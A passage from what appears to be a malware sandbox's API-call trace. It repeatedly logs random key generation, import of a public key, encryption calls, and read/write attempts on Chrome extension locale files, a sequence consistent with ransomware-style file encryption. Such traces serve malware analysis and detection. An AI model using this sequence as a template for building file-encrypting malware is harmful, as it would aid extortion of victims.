dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.649] CryptEncrypt (in: hKey=0x659ecf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x95a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x95a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.649] GetLastError () returned 0x0 [0237.649] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.649] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0237.651] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659ef78) returned 1 [0237.651] CryptGetKeyParam (in: hKey=0x659ef78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.651] CryptEncrypt (in: hKey=0x659ef78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x95b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x95b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.651] GetLastError () returned 0x0 [0237.651] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.651] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.652] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0237.655] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.656] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.656] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.656] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0237.656] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0237.658] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.660] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.660] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.660] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.660] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0237.662] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659efb8) returned 1 [0237.662] CryptGetKeyParam (in: hKey=0x659efb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.662] CryptEncrypt (in: hKey=0x659efb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x95c0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x95c0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.662] GetLastError () returned 0x0 [0237.662] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.662] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0237.664] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659eff8) returned 1 [0237.664] CryptGetKeyParam (in: hKey=0x659eff8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.664] CryptEncrypt (in: hKey=0x659eff8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x95d0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x95d0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.664] GetLastError () returned 0x0 [0237.664] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0237.664] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.665] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.668] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.669] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.669] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.669] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.669] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.672] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.673] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.674] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.674] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.674] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0237.676] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659ec78) returned 1 [0237.676] CryptGetKeyParam (in: hKey=0x659ec78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.676] CryptEncrypt (in: hKey=0x659ec78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x95e0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x95e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.677] GetLastError () returned 0x0 [0237.677] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.677] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0237.679] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659ee38) returned 1 [0237.679] CryptGetKeyParam (in: hKey=0x659ee38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.679] CryptEncrypt (in: hKey=0x659ee38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x95f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x95f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.679] GetLastError () returned 0x0 [0237.679] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.679] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.680] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.683] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.684] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.684] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.684] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.684] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0237.686] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.687] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.687] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.687] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.688] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0237.692] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e878) returned 1 [0237.692] CryptGetKeyParam (in: hKey=0x659e878, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.692] CryptEncrypt (in: hKey=0x659e878, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9600000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9600000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.692] GetLastError () returned 0x0 [0237.692] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0237.692] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0237.694] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659eb38) returned 1 [0237.694] CryptGetKeyParam (in: hKey=0x659eb38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.694] CryptEncrypt (in: hKey=0x659eb38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9610000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9610000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.694] GetLastError () returned 0x0 [0237.694] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.694] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.695] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.698] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.700] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.700] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.700] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.700] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.702] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.703] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.703] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.703] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.704] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0237.706] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659f038) returned 1 [0237.706] CryptGetKeyParam (in: hKey=0x659f038, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.706] CryptEncrypt (in: hKey=0x659f038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9620000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9620000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.706] GetLastError () returned 0x0 [0237.706] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.706] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0237.708] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659ed38) returned 1 [0237.708] CryptGetKeyParam (in: hKey=0x659ed38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.708] CryptEncrypt (in: hKey=0x659ed38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9630000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9630000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.709] GetLastError () returned 0x0 [0237.709] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0237.709] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.709] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0237.712] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.713] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.713] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.713] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.713] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0237.715] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.716] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.717] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.717] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0237.717] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0237.719] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e8b8) returned 1 [0237.719] CryptGetKeyParam (in: hKey=0x659e8b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.719] CryptEncrypt (in: hKey=0x659e8b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9640000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9640000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.719] GetLastError () returned 0x0 [0237.719] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0237.719] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0237.721] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659edf8) returned 1 [0237.721] CryptGetKeyParam (in: hKey=0x659edf8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.721] CryptEncrypt (in: hKey=0x659edf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9650000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9650000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.721] GetLastError () returned 0x0 [0237.721] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.721] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.722] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0237.725] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.727] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.727] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.727] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0237.727] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.729] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.731] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.731] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.731] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.731] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0237.734] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e8f8) returned 1 [0237.734] CryptGetKeyParam (in: hKey=0x659e8f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.734] CryptEncrypt (in: hKey=0x659e8f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9660000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9660000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.734] GetLastError () returned 0x0 [0237.734] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0237.734] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0237.737] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e938) returned 1 [0237.737] CryptGetKeyParam (in: hKey=0x659e938, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.737] CryptEncrypt (in: hKey=0x659e938, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9670000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9670000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.737] GetLastError () returned 0x0 [0237.737] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.737] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.738] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.741] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.742] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.742] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.742] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.743] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.744] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.746] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.746] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.746] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.746] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0237.748] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e978) returned 1 [0237.748] CryptGetKeyParam (in: hKey=0x659e978, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.748] CryptEncrypt (in: hKey=0x659e978, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9680000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9680000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.749] GetLastError () returned 0x0 [0237.749] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.749] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0237.751] CryptImportKey (in: 